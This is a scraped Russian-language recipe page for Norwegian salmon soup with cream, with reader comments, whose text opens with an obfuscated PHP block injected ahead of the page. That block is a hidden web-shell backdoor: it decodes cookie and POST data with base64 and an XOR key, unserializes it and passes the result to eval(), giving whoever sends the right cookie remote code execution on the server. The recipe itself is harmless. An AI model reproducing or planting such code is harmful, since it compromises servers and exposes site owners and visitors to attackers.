$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Норвежский суп из семги со сливками • Meat Review

На главную
Рецепты
Норвежский суп из семги со сливками

Норвежский суп из семги со сливками

Перейти в режим чтения

мин

0 0

Поделиться
3 449 Просмотры
Нравится 6

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Вареное

Средне

Инструкция

Впервые попробовал его, накупавшись в ледяной воде бурной реки, где то на северо-западе Норвегии. Не в ресторане, а в каком то маленьком кемпинге. После первой ложки, понял, must have.

Пришлось немного потренироваться, что бы добиться аутентичного вкуса и консистенции.

Семга (филе) 500-600 г.
Лук 2 шт.
Картофель 500-600 г.
Морковь 1-2 шт.
Лук – порей
Сельдерей
Паста из томатов (или свежие в блендере) 400.г.
Соль, перец, лавр, укроп
Сливки 18% 1-1,5 литра

В основной кастрюле (5-6 литров) на оливковом масле обжариваем мелко порезанный лук, морковь, порей, сельдерей. Потом добавляем томаты и жарим еще минут 5-7.

Заливаем бульоном, (я беру готовый, можно сварить самому) 2 литра, даем закипеть и всыпаем мелко нарезанную картошку.

Как только картошка почти сварится (10-12 мин), вслед летит так же мелко порезанная семга. Я все режу кубиками где то по 1,5 см, в тарелке будет идиллия и симметрия.

Пусть покипит минуты 3-4 и медленно вливаем сливки, постоянно помешивая, закипело, 2-3 минуты и все, готов очень наваристый суп с отличным, богатым вкусом.

Укроп – в тарелку при подаче.

P.S. Помидоры – не обязательны, но вы попробуйте и так и так.

(Visited 3 449 times, 1 visits today)

2 комментария
Stanislav

Stanislav

Сырокопченый Шпек из Мангалицы.

Пасха 17

2 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Gleb •
• 7 лет ago
6 литров такого нажористого супа... и как это сьесть ?
• 0 0 • Reply •
- Stanislav • author •
  • 7 лет ago
  
  Flag comment
  Свари 1 литр и поймешь
  • 0 0 • Reply •